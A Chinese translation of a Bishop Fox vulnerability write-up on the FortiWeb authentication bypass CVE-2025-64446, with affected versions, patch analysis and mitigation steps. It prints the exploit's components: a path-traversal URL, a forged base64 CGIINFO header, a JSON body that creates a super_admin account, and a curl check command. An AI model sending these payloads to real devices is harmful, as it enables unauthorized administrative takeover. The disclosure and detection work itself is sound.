Fortinet FortiWeb身份验证绕过漏洞CVE-2025-64446深度剖析

本文详细分析了Fortinet FortiWeb设备中发现的严重身份验证绕过漏洞(CVE-2025-64446)。攻击者利用此漏洞可绕过认证创建管理员账户,从而完全控制设备并清除攻击痕迹。文章包含了漏洞原理、影响版本、修复措施及验证脚本。

Fortinet FortiWeb身份验证绕过 – CVE-2025-64446

TL;DR: Bishop Fox研究人员在FortiWeb中发现了一个身份验证绕过漏洞,攻击者可以利用该漏洞添加自己的管理员账户、接管设备并清除证据。Fortinet通过更改配置(阻止访问易受攻击的组件)修复了此问题。组织可以使用Bishop Fox提供的新扫描器快速检查是否受影响,并应立即移除公共访问权限并进行更新。

背景

上周,Bishop Fox的研究人员发现了一个针对未公开Fortinet FortiWeb漏洞的概念验证(PoC)利用程序。该PoC最初于10月初由Defused Cyber发布(似乎源自蜜罐捕获),随后被Florian Roth转发,并声称该漏洞正被积极利用。次日,Fortinet通过官方公告确认了该漏洞的存在及被利用的情况,CISA也将其添加至已知已利用漏洞(KEV)目录。

该攻击载荷由一个HTTP POST请求构成,旨在绕过身份验证并在Web管理界面中创建一个具有管理权限的新用户,从而使攻击者能够登录并完全控制目标设备。

我们针对多个不同版本的FortiWeb测试了该PoC,确认该漏洞在旧版本中有效,但在最新的可用更新中无效。以下是我们测试的结果:

版本 结果
8.0.2 不受影响
8.0.1 易受攻击
8.0.0 易受攻击
7.6.6 不受影响
7.6.5 不受影响
7.6.4 易受攻击
7.4.11 不受影响
7.4.10 不受影响
7.4.9 易受攻击
7.2.12 不受影响
7.2.11 易受攻击
7.0.12 不受影响(未测试,但经Fortinet确认)
7.0.11 易受攻击
6.4.2 易受攻击

我们怀疑此处列出版本更旧的版本也容易受到攻击,但目前只有7.0及以上版本受到Fortinet的积极支持。

漏洞分析

该漏洞利用程序可以作为单个cURL请求发送,包含三个部分:

  1. URL中的路径遍历允许请求访问内部的CGI处理器。
  2. 定制的CGIINFO授权头中的有效载荷允许请求绕过身份验证,并被当作具有内部授权进行处理。
  3. JSON POST正文包含创建新管理员账户的标准载荷。

两个服务器二进制文件负责处理恶意请求:

  • httpsd是Fortinet定制版的Apache Web服务器,处理所有传入的HTTP请求。
  • fwbcgi是一个内部的CGI处理器,代表Web服务器处理某些请求。

首先,httpsd接收传入的请求,将URI路径规范化为/cgi-bin/fwbcgi,并将请求直接路由到fwbcgihttpd.conf中的以下行负责此路由:

1
2
3
4
5
6
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>

其次,fwbcgi验证原始URI路径是否引用了有效的REST API端点(本例中为/api/v2.0/cmdb/system/admin)。实际上,URI中看似路径遍历的部分实际上是授权绕过的一部分,因为它允许外部请求伪装成内部请求,以便fwbcgi处理它。

第三,fwbcgi解码CGIINFO头(用于内部授权)的base64值,并将生成的JSON对象解释为指示请求应以管理权限执行:

1
2
3
4
5
6
{
  "type": "app",
  "ver": "2.0",
  "priv": 15,
  "cmd": "set"
}

最后,fwbcgi使用root.system.admin权限上下文处理JSON POST正文,在Web管理界面中创建一个具有管理权限的新账户:

1
2
3
4
5
6
7
{
  "mkey": "attacker",
  "password": "P@ssw0rd!",
  "accprofile": "super_admin",
  "vdom": "root",
  "user_type": "local"
}

然后攻击者可以直接登录Web管理界面:

系统 > 管理员 > 管理员视图显示新的管理员账户:

恶意账户创建记录在日志与报告 > 日志访问 > 事件下的事件日志中:

然而,拥有完全管理控制权后,攻击者可以清除日志以擦除这些入侵痕迹。

补丁分析

Fortinet最初发布了未提及此漏洞的新版FortiWeb。Bishop Fox研究人员比较了受影响版本和已修复版本的固件,确定一个单独的更改是缓解此身份验证绕过漏洞的原因。

在未打补丁的版本中,httpd.conf允许访问cgi-bin目录而无需任何清理:

1
2
3
4
5
6
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>

在已打补丁的版本中,默认拒绝访问cgi-bin目录,并且对fwbcgi的访问仅限于内部重定向:

1
2
3
4
5
6
ScriptAliasMatch ^/cgi-bin/fwbcgi$ /usr/local/apache2/cgi-bin/fwbcgi
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None
    Require all denied
</Directory>

我们的研究人员审查了对httpsdfwbcgi的额外更改,但确定它们不影响此漏洞,因此httpd.conf的更改是唯一的缓解措施。值得注意的是,在8.0.2版本中,httpsd添加了一条新的日志消息(日志类型10000017),用于指示因特定次数的REST API登录尝试失败而导致IP地址锁定的情况。

影响评估

要测试特定FortiWeb实例是否易受攻击而不造成任何负面影响,请运行以下cURL命令:

1
curl -H "CGIINFO: eyJ0eXBlIjoiYXBwIiwidmVyIjoiMi4wIiwicHJpdiI6MTUsImNtZCI6InNldCJ9" -X POST http://<target>/cgi-bin/fwbcgi/../../../api/v2.0/cmdb/system/admin -d '{"mkey":"test"}' -v

200 OK响应表示目标易受攻击,而403 Forbidden表示目标不受影响。请注意,此命令仅利用初始的路径遍历/身份验证绕过,不会对目标系统进行任何更改。

您也可以下载我们的开源Python扫描器来测试是否易受攻击:https://github.com/BishopFox/fortiweb-auth-bypass-check

如果您正在运行受影响版本的FortiWeb,并且Web管理界面公开暴露,攻击者可以完全破坏系统。为保护自己,我们建议立即采取以下措施:

  1. 将管理界面从公共访问中移除。
  2. 安装最新的可用FortiWeb更新。

我们的Cosmos客户首先收到了我们对此漏洞研究的通知,并在我们了解更多信息时持续收到更新。如果您有兴趣了解通过我们的Cosmos平台提供的托管服务,请填写我们的“开始使用”表格或访问:bishopfox.com/services/cosmos

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计